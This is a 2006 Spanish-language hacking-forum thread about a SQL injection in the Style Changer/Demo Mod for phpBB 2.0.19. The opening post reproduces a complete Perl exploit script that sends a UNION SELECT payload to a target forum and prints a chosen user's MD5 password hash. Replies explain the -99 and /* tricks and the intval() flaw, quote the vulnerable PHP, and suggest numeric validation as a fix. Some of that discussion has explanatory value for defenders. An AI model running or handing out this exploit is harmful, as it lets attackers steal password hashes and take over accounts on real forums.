elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 14:17  


Tema destacado: Últimos eventos sobre seguridad/inseguridad

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  phpBB 2.0.19 (Style Changer/Demo Mod) SQL Injection
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: phpBB 2.0.19 (Style Changer/Demo Mod) SQL Injection  (Leído 6,503 veces)
sikik


Desconectado Desconectado

Mensajes: 664


Jo sóc jo i la meva circumstància.


Ver Perfil
phpBB 2.0.19 (Style Changer/Demo Mod) SQL Injection
« en: 6 Febrero 2006, 13:59 »

Código:
#!/usr/bin/perl
#########################################################
# _______ _______ ______ #
# |______ |______ |     \ #
# ______| |______ |_____/ #
#                         #
#phpBB Style Changer/Demo Mod-->GET HASH EXPLOIT #
#Created By SkOd                                        #
#SED security Team                                      #
#http://www.sed-team.be                                 #
#skod.uk@gmail.com                                      #
#ISRAEL                                                 #
#########################################################
#google:
#"How To Be A Lammer??"
#########################################################
use IO::Socket;
if (@ARGV < 3){
print q{
############################################################
#   phpBB Style Changer\Viewer MOD SQL injection Exploit   #
# Tested on phpBB 2.0.19    #
#     created By SkOd. SED Security Team             #
############################################################
bbstyle.pl [HOST] [PATH] [Target id]
bbstyle.pl www.host.com /phpbb2/ 2
############################################################
};
exit;
}
$serv = $ARGV[0];
$dir = $ARGV[1];
$id = $ARGV[2];
print "[+]Make Connection\n";
$serv =~ s/(http:\/\/)//eg;
$path = $dir.'index.php?s=-99%20UNION%20SELECT%20null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20phpbb_users%20Where%20user_id='.$id.'/*';
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Connect Failed\r\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+]Connected\n";
while ($hash = <$socket>){
$hash =~ m/open(.*?)template/ && print "[+]User id: $id\n[+]Md5 Hash: $1\n";
}

# milw0rm.com [2006-02-05]

fuente
« Última modificación: 7 Febrero 2006, 01:51 por Sirdarckcat » En línea

"Social Engineer -> Because there is no patch for human stupidity".
"Però qui s'ha inclinat sobre l'abisme, qui ha vist, patirà per sempre la temptació de tornar un altre cop a aquest punt negre en el qual les tenebres il·luminen(...)"
Warning: shell_exec() has been disabled for security reasons at line 274.
Rey11


Desconectado Desconectado

Mensajes: 3.244



Ver Perfil WWW
Re: phpBB 2.0.19 (Style Changer/Demo Mod) SQL Injection
« Respuesta #1 en: 6 Febrero 2006, 15:45 »

Y aun siguen saliendo de phpbb..., el exploit es muy simple, se trata de coger un dato usando UNION y SELECT:
Citar
-99%20UNION%20SELECT%20null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20phpbb_users%20Where%20user_id='.$id.'/*'
Aunque Sirdarckcat, me podrías explicar para que vale:
Citar
-99
Y
Citar
/*
La sentencia en si, es asi:
Citar
UNION SELECT  null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null      FROM phpbb_users WHERE user_id=numero
O lo que es lo mismo:
Citar
Seleccioname de la tabla noleselecciones,selecciona,noleselecciones,noleselecciones,noleselecciones,noleselecciones,noleselecciones De la tabla phpbb_users DONDE elnumeroid del usuario=usuario del exploit
Saludos  ::)
P.D para mas info mirad el tutorial de Sirdarckcat en el foro de tutoriales sobre sql inyection
En línea

Robin

Desconectado Desconectado

Mensajes: 18


Ver Perfil
Re: phpBB 2.0.19 (Style Changer/Demo Mod) SQL Injection
« Respuesta #2 en: 6 Febrero 2006, 18:50 »

creo que hay un error en el exploit.. solo logro conectarme pero no arroja el hash

esto lo que me sale

############################################################
#   phpBB Style Changer\Viewer MOD SQL injection Exploit   #
# Tested on phpBB 2.0.19    #
#     created By SkOd. SED Security Team             #
############################################################
bbstyle.pl [HOST] [PATH] [Target id]
bbstyle.pl www.host.com /phpbb2/ 2
############################################################

C:\Perl\bin>perl php19.pl http://www.xxxxx.xx /xxx/ 2
  • Make Connection
  • Connected

C:\Perl\bin>
En línea
Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: phpBB 2.0.19 (Style Changer/Demo Mod) SQL Injection
« Respuesta #3 en: 6 Febrero 2006, 19:14 »

Quizas no devuelve nada porque no es vulnerable o quizas pusiste un id no valido (aunque no explica si es un id de usuario,thread,etc).

Citar
Aunque Sirdarckcat, me podrías explicar para que vale:
Quote
-99
Y
Quote
/*

No soy sirdarckcat pero creo tener la respuesta  :P El -99 es para que ese query devuleva falso, por logia no va haber alguna sección de id -99. Y el /* si mal no recuerdo es para que ignore lo que continue en el query, practicamente inicia un comentario.

Pero no estoy 100% seguro de esto asi que mejor esperar al sirdarckcat
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
Ertai
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.026


Ralph Wiggum


Ver Perfil
Re: phpBB 2.0.19 (Style Changer/Demo Mod) SQL Injection
« Respuesta #4 en: 6 Febrero 2006, 19:48 »

El /* es para iniciar un cometario en PHP.

Lo del -99 es para devolver una query falsa, supongo que es para que la primera parte no devuelva nada y engañar haciendo un UNION para que muestre los resultados, como si de la primera parte se tratara.

Por otra parte, alguien ha conseguido obtener resultados? Porque yo no.

Saludos.
En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
Robin

Desconectado Desconectado

Mensajes: 18


Ver Perfil
Re: phpBB 2.0.19 (Style Changer/Demo Mod) SQL Injection
« Respuesta #5 en: 6 Febrero 2006, 19:49 »

Citar
Quizas no devuelve nada porque no es vulnerable o quizas pusiste un id no valido (aunque no explica si es un id de usuario,thread,etc)

Ya intente con foros hasta 2.05,  tambien tengo un foro de preuba con la version 2.17 y en ninguno funciona, trate on Id# o Id User. pero nada funciona
« Última modificación: 6 Febrero 2006, 19:53 por Robin » En línea
Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: phpBB 2.0.19 (Style Changer/Demo Mod) SQL Injection
« Respuesta #6 en: 6 Febrero 2006, 20:05 »

Si funciona a perfeccion lo acabo de probar. Leer bien "Style Changer\Viewer MOD" el fallo concretamente esta en ese MOD, sin ese mod pues no hay Sql Injection.
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
Rey11


Desconectado Desconectado

Mensajes: 3.244



Ver Perfil WWW
Re: phpBB 2.0.19 (Style Changer/Demo Mod) SQL Injection
« Respuesta #7 en: 6 Febrero 2006, 20:10 »

Una cosa, yo no he conseguido encontrar en ninguna web de seguridad informacion sobre esta vulnerabilidad, solo he encontrado el exploit en milw0rm.com
Pues será posiblemente eso, que se trata de un mod del phpbb que solo algunos foros lo tienen y por eso no va con los foros normales.
Saludos  ::)
En línea

Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: phpBB 2.0.19 (Style Changer/Demo Mod) SQL Injection
« Respuesta #8 en: 6 Febrero 2006, 20:19 »

Lo curioso es que solamenta arroja los 30 primeros caracteres y los otro 2 estan perdidos en el espacio e intente crear una cookie pero me di cuenta que el md5 no aparece en ninguna parte de la cookie.
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
Rey11


Desconectado Desconectado

Mensajes: 3.244



Ver Perfil WWW
Re: phpBB 2.0.19 (Style Changer/Demo Mod) SQL Injection
« Respuesta #9 en: 6 Febrero 2006, 20:30 »

Y como son las cookies de phpbb..., yo me acuerdo que las del smf no tenian los mismos caracteres que los del md5.
Saludos  ::)
En línea

Ertai
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.026


Ralph Wiggum


Ver Perfil
Re: phpBB 2.0.19 (Style Changer/Demo Mod) SQL Injection
« Respuesta #10 en: 6 Febrero 2006, 21:32 »

Quizás el Mod este le mete más seguridad, y, después de md5(), lo cifra de alguna otra forma para que de 30 carácteres, al estilo SMF.

Saludos.
En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
Rey11


Desconectado Desconectado

Mensajes: 3.244



Ver Perfil WWW
Re: phpBB 2.0.19 (Style Changer/Demo Mod) SQL Injection
« Respuesta #11 en: 6 Febrero 2006, 22:03 »

Ertai, no creo, los coje directamente de la tabla, si estuvieran cifrado mediante otro algoritmo el phpbb en si no los podría leer (pienso yo).
Saludos  ::)
En línea

Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: phpBB 2.0.19 (Style Changer/Demo Mod) SQL Injection
« Respuesta #12 en: 6 Febrero 2006, 22:17 »

includes/functions.php del MOD, Linea 434:

Código:
message_die(CRITICAL_ERROR, "Could not open $template_name template config file", '', __LINE__, __FILE__);

Vemos que muestra el sql con un message_die().

Linea 423:

Código:
$template_name = $row['template_name'] ;

De hay sale la variable $template_name. Creo que en la linea 325 comienza:

Código:
if ( isset($HTTP_GET_VARS[STYLE_URL]) )
{
$style = urldecode( $HTTP_GET_VARS[STYLE_URL] );
if ( $theme = setup_style($style) )

Y aqui a la funcion que llama:

Código:
if ( intval($style) == 0 )
{
$sql = "SELECT *
FROM " . THEMES_TABLE . "
WHERE style_name = '$style'";
}
else
{
$sql = "SELECT *
FROM " . THEMES_TABLE . "
WHERE themes_id = $style";
}

Como se observa recoje la variable, le hace un urldecode() y en caso del estilo ser 0 pues hace una llamada en caso de que sea otra pues hace otra llamada. Luego mas abajo hay algunas comprobaciones que hacen varios message_die(). Creo que la solucion seria hacer la limpieza luego del urldecode() o simplemente verificar si el valor es numerico o no. Y segun veo las funciones pues seguro hay unos cuantos sql injection mas.
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
Rey11


Desconectado Desconectado

Mensajes: 3.244



Ver Perfil WWW
Re: phpBB 2.0.19 (Style Changer/Demo Mod) SQL Injection
« Respuesta #13 en: 6 Febrero 2006, 22:50 »

Ok, ya veo el fallito del programador, pero una cosa sigo sin entender.
Como hace para meter las sql inyection con las magic quotes activadas.
Porque para meter eso, la ' tendría que ser igual a: -99
No??
Y lo de ignorar la sentencia /* tendría que ser igual a --
Saludos  ::)
En línea

sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: phpBB 2.0.19 (Style Changer/Demo Mod) SQL Injection
« Respuesta #14 en: 7 Febrero 2006, 02:00 »

Quizas no devuelve nada porque no es vulnerable o quizas pusiste un id no valido (aunque no explica si es un id de usuario,thread,etc).

Citar
Aunque Sirdarckcat, me podrías explicar para que vale:
Quote
-99
Y
Quote
/*

No soy sirdarckcat pero creo tener la respuesta :P El -99 es para que ese query devuleva falso, por logia no va haber alguna sección de id -99. Y el /* si mal no recuerdo es para que ignore lo que continue en el query, practicamente inicia un comentario.

Pero no estoy 100% seguro de esto asi que mejor esperar al sirdarckcat

Ya te contetaron, tambien Ertai..

el -- solo es con ASP, phpBB es en.. bueno..
el exploit no necesita las magic, porque si vemos..
Código:
if ( intval($style) == 0 )
{
$sql = "SELECT *
FROM " . THEMES_TABLE . "
WHERE style_name = '$style'";
}
else
{
$sql = "SELECT *
FROM " . THEMES_TABLE . "
WHERE themes_id = $style";
}
intval($style) == 0
es decir, teoricamente checa que sea numero, pero intval recoje hasta el primer caracter nan, en este caso el espacio.. -99 es numero, y no es igual a 0
asi que va a la sentencia SIN comillas.
donde no necesita ponerlas..
la razon por la que escogieron el -99 como bien te contestaron, es para dar resultado falso.

Saludos!!
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
WhatsApp Status Changer v0.2 Exploit
Bugs y Exploits
el-brujo 2 2,232 Último mensaje 24 Enero 2012, 09:03
por d3xf4ult
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines